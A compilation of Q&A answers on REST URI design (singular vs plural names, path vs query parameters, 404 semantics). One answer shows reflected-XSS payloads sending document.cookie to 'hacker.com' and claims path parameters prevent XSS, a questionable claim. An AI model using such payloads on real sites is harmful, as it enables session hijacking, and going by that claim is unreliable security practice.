Which one of these URIs would be more 'fit' for receiving POSTs (adding product(s))? Are there any best practices available or is it just personal preference?
/product/ (singular)
or
/products/ (plural)
Currently we use /products/?query=blah for searching and /product/{productId}/ for GETs PUTs & DELETEs of a single product.
Since POST is an "append" operation, it might be more Englishy to POST to /products, as you'd be appending a new product to the existing list of products.
As long as you've standardized on something within your API, I think that's good enough.
Since REST APIs should be hypertext-driven, the URI is relatively inconsequential anyway. Clients should be pulling URIs from returned documents and using those in subsequent requests; typically applications and people aren't going to need to guess or visually interpret URIs, since the application will be explicitly instructing clients what resources and URIs are available.
Typically you use POST to create a resource when you don't know the identifier of the resource in advance, and PUT when you do. So you'd POST to /products, or PUT to /products/{new-id}.
With both of these you'll return 201 Created, and with the POST additionally return a Location header containing the URL of the newly created resource (assuming it was successfully created).
In RESTful design, there are a few patterns around creating new resources. The pattern that you choose largely depends on who is responsible for choosing the URL for the newly created resource.
If the client is responsible for choosing the URL, then the client should PUT to the URL for the resource. In contrast, if the server is responsible for the URL for the resource then the client should POST to a "factory" resource. Typically the factory resource is the parent resource of the resource being created and is usually a collection which is pluralized.
So, in your case I would recommend using /products
You POST or GET a single thing: a single PRODUCT.
Sometimes you GET with no specific product (or with query criteria). But you still say it in the singular.
You rarely work plural forms of names. If you have a collection (a Catalog of products), it's one Catalog.
I would only post to the singular /product. It's just too easy to mix up the two URL-s and get confused or make mistakes.
As many said, you can probably choose any style you like as long as you are consistent, however I'd like to point out some arguments on both sides; I'm personally biased towards singular
In favor of plural resource names:
simplicity of the URL scheme as you know the resource name is always at plural
many consider this convention similar to how databases tables are addressed and consider this an advantage
seems to be more widely adopted
In favor of singular resource names (this doesn't exclude plurals when working on multiple resources)
the URL scheme is more complex but you gain more expressivity
you always know when you are dealing with one or more resources based on the resource name, as opposed to check whether the resource has an additional Id path component
plural is sometimes harder for non-native speakers (when is not simply an "s")
the URL is longer
the "s" seems to be a redundant from a programmers' standpoint
is just awkward to consider the path parameter as a sub-resource of the collection as opposed to consider it for what it is: simply an ID of the resource it identifies
you can apply the filtering parameters only where they are needed (endpoint with plural resource name)
you could use the same url for all of them and use the MessageContext to determine what type of action the caller of the web service wanted to perform.
No language was specified but in Java you can do something like this.
WebServiceContext ws_ctx;
MessageContext ctx = ws_ctx.getMessageContext();
String action = (String)ctx.get(MessageContext.HTTP_REQUEST_METHOD);
if(action.equals("GET")
// do something
else if(action.equals("POST")
// do something
That way you can check the type of request that was sent to the web service and perform the appropriate action based upon the request method.
Related
Lets assume we have some main-resource and a related sub-resource with 1-n relation;
User of the API can:
list main-resources so GET /main-resources endpoint.
list sub-resources so GET /sub-resources endpoint.
list sub-resources of a main-resource so one or both of;
GET /main-resources/{main-id}/sub-resources
GET /sub-resouces?main={main-id}
create a sub-resource under a main-resource
POST /main-resource/{main-id}/sub-resouces: Which has the benefit of hierarchy, but in order to support this one needs to provide another set of endpoints(list, create, update, delete).
POST /sub-resouces?main={main-id}: Which has the benefit of having embedded id inside URL. A middleware can handle and inject provided values into request itself.
create a sub-resource with all parameters in body POST /sub-resources
Is providing a URI with main={main-id} query parameter embedded a good way to solve this or should I go with the route of hierarchical URI?
In a true REST environment the spelling of URIs is not of importance as long as the characters used in the URI adhere to the URI specification. While RFC 3986 states that
The path component contains data, usually organized in hierarchical form, that, along with data in the non-hierarchical query component (Section 3.4), serves to identify a resource within the scope of the URI's scheme and naming authority (if any). The path is terminated by the first question mark ("?") and number sign ("#") character, or by the end of the URI. (Source)
it does not state that a URI has to have a hierarchical structure assigned to it. A URI as a whole is a pointer to a resource and as such a combination of various URIs may give the impression of some hierarchy involved. The actual information of whether URIs have some hierarchical structure to it should though stem from link relations that are attached to URIs. These can be registered names like up, fist, last, next, prev and the like or Web linking extensions such as https://acme.org/rel/parent which acts more like a predicate in a Semantic Web relation basically stating that the URI at hand is a parent to the current resource. Don't confuse rel-URIs for real URIs though. Such rel-URIs do not necessarily need to point to an actual resource or even to a documentation. Such link relation extensions though my be defined by media-types or certain profiles.
In a perfect world the URI though is only used to send the request to the actual server. A client won't parse or try to extract some knowledge off an URI as it will use accompanying link relation names to determine whether the URI is of relevance to the task at hand or not. REST is full of such "indirection" mechanism in order to help decoupling clients from servers.
I.e. what is the difference between a URI like https://acme.org/api/users/1 and https://acme.org/api/3f067d90-8b55-4b60-befc-1ce124b4e080? Developers in the first case might be tempted to create a user object representing the data returned by the URI invoked. Over time the response format might break as stuff is renamed, removed and replaced by other stuff. This is what Fielding called typed resources which REST shouldn't have.
The second URI doesn't give you a clue on what content it returns, and you might start questioning on what benefit it brings then. While you might not be aware of what actual content the service returns for such URIs, you know at least that your client is able to process the data somehow as otherwise the service would have responded with a 406 Not Acceptable response. So, content-type negotiation ensures that your client will with high certainty receive data it is able to process. Maintaining interoperability in a domain that is likely to change over time is one of RESTs strong benefits and selling points. Depending on the capabilities of your client and the service, you might receive a tailored response-format, which is only applicable to that particular service, or receive a more general-purpose one, like HTML i.e.. Your client basically needs a mapping to translate the received representation format into something your application then can use. As mentioned, REST is probably all about introducing indirections for the purpose of decoupling clients from servers. The benefit for going this indirection however is that once you have it working it will work with responses issued not only from that server but for any other service that also supports returning that media type format. And just think a minute what options your client has when it supports a couple of general-purpose formats. It then can basically communicate and interoperate with various other services in that ecosystem without a need for you touching it. This is how browsers operate on the Web for decades now.
This is exactly why I think that this phrase of Fielding is probably one of the most important ones but also the one that is ignored and or misinterpreted by most in the domain of REST:
A REST API should spend almost all of its descriptive effort in defining the media type(s) used for representing resources and driving application state, or in defining extended relation names and/or hypertext-enabled mark-up for existing standard media types. (Source)
So, in a true REST environment the form of the URI is unimportant as clients rely on other mechanisms to determine whether to use that URI or not. Even for so called "REST APIs" that do not really care about the true meaning of REST and treat it more like old-school RPC the question at hands is probably very opinionated and there probably isn't that one fits all solution. If your framework supports injecting stuff based on the presence of certain query parameters, use that. If you prefer the more hierarchical structure of URIs, go for those. There isn't a right or wrong in such cases.
According to the URI standard when you have a hierarchical relationship between resources, then better to add it to the path instead of the query. https://datatracker.ietf.org/doc/html/rfc3986#page-22 Sometimes it is better to describe the relation itself, not just the sub-resource, but that happens only if the sub-resource can belong to multiple main resources, which is n:m relationship.
Consider a need to create a GET endpoint for fetching Member details using either of 4 options (It's common in legacy application with RPC calls)
Get member by ID
Get member by SSN
Get member by a combination of Phone and LastName (both must be passed)
What's a recommended strategy to live the REST spirit and yet provide this flexibility?
Some options I could think of are:
Parameters Based
/user/{ID}
/user?ssn=?
/user?phone=?&lname=?
Separate Endpoints
/user/{ID}
/user/SSN/{SSNID}
/user/{lname}/{phone}
RPC for custom
/user/{ID}
/user/findBySSN/
/user/findbycontact/
REST doesn't care what spelling you use for your identifiers.
For example, think about how you would do this on the web. You would provide forms, one for each set of search criteria. The consumer would choose which form to use, and submit the form, without ever knowing what the URI is.
In the case of HTML forms, there are specific processing rules for describing how the form information will be copied into the URI. The form takes on the aspect of a URI Template.
A URI Template provides both a structural description of a URI space and, when variable values are provided, machine-readable instructions on how to construct a URI corresponding to those values.
But there aren't any rules saying that restrict the server from providing a URI template that directs the client to copy the variable values into path segments rather than into the query string.
In other words, in REST, the server retains control of its own URI space.
You might sometimes prefer to use path segments because of their hierarchical nature, which may be convenient if you want the client to use relative resolution of relative references in your representations.
REST ≠ pretty URLs. The two are orthogonal.
Your question is about the latter, I feel.
Whilst the other answers have been good, if you want your API to work with HTML forms, go with query parameters on the collection /user resource for all fields, even for ID (assuming a human is typing these in based on information they are getting from sheets of paper on their desk, etc.)
If your server is able to produce links to each record, always produce canonical links such as /users/{id}, don't duplicate data under different URLs.
I am trying to design a REST API for a system where the resources are essentially identified by path-like addresses with varying numbers of segments. For example, a "Schema" resource could be represented on the file system as follows:
/Resources/Schemas/MyFolder2/MyFolder5/MySchema27
The file-system path /Resources/Schemas/ is the root folder for all Schemas, and everything below this is entirely user defined (as far as folder depth and folder naming). So, in the example above, the particular Schema would be uniquely identified by the following address (since "MySchema27" by itself would not necessarily be unique):
/MyFolder2/MyFolder5/MySchema27
What would be the best way to refer to a resource like this in a REST API?
If I have a /schemas collection my REST URL could be:
/schemas/MyFolder2/MyFolder5/MySchema27
Would that be a reasonable approach? Are there better ways of handling this?
I could, potentially, do a 2-step approach where the client would first have to search for a Schema using the Schema address (in URL parameters or in the request body), which would then return a unique ID that could then be used with a more traditional /schemas/{id} design. Not sure that I like that, though, especially since it would mean tracking a separate ID for each resource. Thoughts? Thanks.
The usual way to add a resource to your "folder" /Resources/Schemas/ is to make a POST request on it with the body of this POST request containing a representation of the resource to add, then the server will take care of finding the next free {id} and and setting the new resource to /Resources/Schemas/{id}.
Another approach is to, as you said, make a GET request on /Resources/Schemas/new which would return the next free {id}, and then, make a second request PUT directly on /Resources/Schemas/{id}. However this second approach is not as secure as the first since two simultaneous request could lead to the same new {id} returned and so the second PUT would erase the first. You can secure this with some sort of reservation mechanism.
This is called as Resource Based URI approach for building REST services . Follow these wonderful set of video tutorials to understand more about them and learn how to implement too . https://javabrains.io/courses/javaee_jaxrs
I thought that a single resource can be identified by many URLs.
From:
A resource in a hypermedia API is probably better thought of
representing the API response rather than the underlying model
instance, as the response is obviously not the same from these two
URLs
But above quote suggests that in REST each URL always identifies a different resource ( thus two URLs can never identify the same resource ). Reason being that a resource in a hypermedia API is better thought of as representing the API response rather than the underlying model instance, and considering that API responses from different URLs are definitely not identical, the conclusion is that two URLs can never identify the same resource.
Would you agree that in REST a resource should be thought of as representing the API response and as such two URLs can never identify the same resource?
Thank you
tl;dr no - two URIs can refer to the same resource
There is nothing wrong with a 'resource' being represented by multiple URIs, or URIs 'linking' to a virtual resource that does not exist until a user GETs it and the server calculates what that value should be.
example, /schools/5/pupils/thecoshman would be the same as /pupils/thecoshman, it's me, it's just the first UIR lets you know (well, presume) I am in 'school 5'. Ideally though, the URI should be returned as the shortest form, so I'd say the second one should represent me.
Why would you get that longer one? Well, what if you called /schools/5/pupils? That would return a list of 'pupils' in that school (though probably as more than just a list like this).
/schools/5/pupils/thecoshman
/schools/5/pupils/bckpwrld
Though as I said above, you should probably link to the shortest (in terms of hierarchy) URI for the resource, so drop the '/schools/5' prefix. The users just got this data from /schools/5/pupils/.
I had a discussion with a colleague today around using query strings in REST URLs. Take these 2 examples:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
My stance was the URLs should be designed as in example 1. This is cleaner and what I think is correct within REST. In my eyes you would be completely correct to return a 404 error from example 1 if the product code did not exist whereas with example 2 returning a 404 would be wrong as the page should exist. His stance was it didn't really matter and that they both do the same thing.
As neither of us were able to find concrete evidence (admittedly my search was not extensive) I would like to know other people's opinions on this.
There is no difference between the two URIs from the perspective of the client. URIs are opaque to the client. Use whichever maps more cleanly into your server side infrastructure.
As far as REST is concerned there is absolutely no difference. I believe the reason why so many people do believe that it is only the path component that identifies the resource is because of the following line in RFC 2396
The query component is a string of
information to be interpreted by the
resource.
This line was later changed in RFC 3986 to be:
The query component contains
non-hierarchical data that, along with
data in the path component (Section
3.3), serves to identify a resource
IMHO this means both query string and path segment are functionally equivalent when it comes to identifying a resource.
Update to address Steve's comment.
Forgive me if I object to the adjective "cleaner". It is just way too subjective. You do have a point though that I missed a significant part of the question.
I think the answer to whether to return 404 depends on what the resource is that is being retrieved. Is it a representation of a search result, or is it a representation of a product? To know this you really need to look at the link relation that led us to the URL.
If the URL is supposed to return a Product representation then a 404 should be returned if the code does not exist. If the URL returns a search result then it shouldn't return a 404.
The end result is that what the URL looks like is not the determining factor. Having said that, it is convention that query strings are used to return search results so it is more intuitive to use that style of URL when you don't want to return 404s.
In typical REST API's, example #1 is more correct. Resources are represented as URI and #1 does that more. Returning a 404 when the product code is not found is absolutely the correct behavior. Having said that, I would modify #1 slightly to be a little more expressive like this:
http://localhost/products/code/4xheaua
Look at other well-designed REST APIs - for example, look at StackOverflow. You have:
stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663
These are all different ways of getting at "questions".
There are two use cases for GET
Get a uniquely identified resource
Search for resource(s) based on given criteria
Use Case 1 Example:
/products/4xxheua
Get a uniquely identified product, returns 404 if not found.
Use Case 2 Example:
/products?size=large&color=red
Search for a product, returns list of matching products (0 to many).
If we look at say the Google Maps API we can see they use a query string for search.
e.g.
http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
So both styles are valid for their own use cases.
IMO the path component should always state what you want to retrieve. An URL like http://localhost/findbyproductcode does only say I want to retrieve something by product code, but what exactly?
So you retrieve contacts with http://localhost/contacts and users with http://localhost/users. The query string is only used for retrieving a subset of such a list based on resource attributes. The only exception to this is when this subset is reduced to one record based on the primary key, then you use something like http://localhost/contact/[primary_key].
That's my approach, your mileage may vary :)
The way I think of it, URI path defines the resource, while optional querystrings supply user-defined information. So
https://domain.com/products/42
identifies a particular product while
https://domain.com/products?price=under+5
might search for products under $5.
I disagree with those who said using querystrings to identify a resource is consistent with REST. Big part of REST is creating an API that imitates a static hierarchical file system (without literally needing such a system on the backend)--this makes for intuitive, semantic resource identifiers. Querystrings break this hierarchy. For example watches are an accessory that have accessories. In the REST style it's pretty clear what
https://domain.com/accessories/watches
and
https://domain.com/watches/accessories
each refer to. With querystrings,
https://domain.com?product=watches&category=accessories
is not not very clear.
At the very least, the REST style is better than querystrings because it requires roughly half as much information since strong-ordering of parameters allows us to ditch the parameter names.
The ending of those two URIs is not very significant RESTfully.
However, the 'findbyproductcode' portion could certainly be more restful. Why not just
http://localhost/product/4xxheau ?
In my limited experience, if you have a unique identifier then it would look clean to construct the URI like .../product/{id}
However, if product code is not unique, then I might design it more like #2.
However, as Darrel has observed, the client should not care what the URI looks like.
This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).
(Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)
The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
Whereas this attack will be successful by using a QueryParam!
http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
The query string is unavoidable in many practical senses.... Consider what would happen if the search allowed multiple (optional) fields to all ve specified. In the first form, their positions in the hierarchy would have to be fixed and padded...
Imagine coding a general SQL "where clause" in that format....However as a query string, it is quite simple.
By the REST client the URI structure does not matter, because it follows links annotated with semantics, and never parses the URI.
By the developer who writes the routing logic and the link generation logic, and probably want to understand log by checking the URLs the URI structure does matter. By REST we map URIs to resources and not to operations - Fielding dissertation / uniform interface / identification of resources.
So both URI structures are probably flawed, because they contain verbs in their current format.
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
You can remove find from the URIs this way:
1. /products/code:4xxheua
2. /products?code="4xxheua"
From a REST perspective it does not matter which one you choose.
You can define your own naming convention, for example: "by reducing the collection to a single resource using an unique identifier, the unique identifier must be always part of the path and not the query". This is just the same what the URI standard states: the path is hierarchical, the query is non-hierarchical. So I would use /products/code:4xxheua.
Philosophically speaking, pages do not "exist". When you put books or papers on your bookshelf, they stay there. They have some separate existence on that shelf. However, a page exists only so long as it is hosted on some computer that is turned on and able to provide it on demand. The page can, of course, be always generated on the fly, so it doesn't need to have any special existence prior to your request.
Now think about it from the point of view of the server. Let's assume it is, say, properly configured Apache --- not a one-line python server just mapping all requests to the file system. Then the particular path specified in the URL may have nothing to do with the location of a particular file in the filesystem. So, once again, a page does not "exist" in any clear sense. Perhaps you request http://some.url/products/intel.html, and you get a page; then you request http://some.url/products/bigmac.html, and you see nothing. It doesn't mean that there is one file but not the other. You may not have permissions to access the other file, so the server returns 404, or perhaps bigmac.html was to be served from a remote Mc'Donalds server, which is temporarily down.
What I am trying to explain is, 404 is just a number. There is nothing special about it: it could have been 40404 or -2349.23847, we've just agreed to use 404. It means that the server is there, it communicates with you, it probably understood what you wanted, and it has nothing to give back to you. If you think it is appropriate to return 404 for http://some.url/products/bigmac.html when the server decides not to serve the file for whatever reason, then you might as well agree to return 404 for http://some.url/products?id=bigmac.
Now, if you want to be helpful for users with a browser who are trying to manually edit the URL, you might redirect them to a page with the list of all products and some search capabilities instead of just giving them a 404 --- or you can give a 404 as a code and a link to all products. But then, you can do the same thing with http://some.url/products/bigmac.html: automatically redirect to a page with all products.